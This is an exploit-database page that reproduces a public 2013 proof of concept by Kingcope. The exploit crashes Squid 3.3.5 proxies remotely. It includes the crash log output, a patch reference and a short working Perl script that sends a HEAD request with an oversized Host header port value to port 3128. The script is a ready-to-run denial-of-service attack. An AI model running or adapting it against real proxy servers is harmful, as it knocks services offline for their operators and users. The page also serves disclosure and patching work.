Squid-3.3.5 Denial of Service PoC

2013-07-15 / 2013-07-16
Credit: Kingcope
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#Squid Crash PoC #Copyright (C) Kingcope 2013 #tested against squid-3.3.5 #this seems to be the patch for the vulnerability: #http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch #The squid-cache service will respawn, looks like a kind of assert exception: #2013/07/15 20:48:36 kid1| Closing HTTP port 0.0.0.0:3128 #2013/07/15 20:48:36 kid1| storeDirWriteCleanLogs: Starting... #2013/07/15 20:48:36 kid1| Finished. Wrote 0 entries. #2013/07/15 20:48:36 kid1| Took 0.00 seconds ( 0.00 entries/sec). #FATAL: Bungled (null) line 9: snmp_access deny all #Squid Cache (Version 3.2.11): Terminated abnormally. #CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys #Maximum Resident Size: 33312 KB #Page faults with physical i/o: 0 #Memory usage for squid via mallinfo(): # total space in arena: 4100 KB # Ordinary blocks: 4046 KB 7 blks # Small blocks: 0 KB 0 blks # Holding blocks: 564 KB 2 blks # Free Small blocks: 0 KB # Free Ordinary blocks: 53 KB # Total in use: 4610 KB 112% # Total free: 53 KB 1% #2013/07/15 20:48:39 kid1| Starting Squid Cache version 3.2.11 for i686-pc-linux-gnu... #2013/07/15 20:48:39 kid1| Process ID 2990 use IO::Socket; my $sock = IO::Socket::INET->new(PeerAddr => '192.168.27.146', PeerPort => '3128', Proto => 'tcp'); $a = "yc" x 2000; print $sock "HEAD http://yahoo.com/ HTTP/1.1\r\nHost: yahoo.com:$a\r\n\r\n"; while(<$sock>) { print; }

References:

http://seclists.org/fulldisclosure/2013/Jul/148
http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top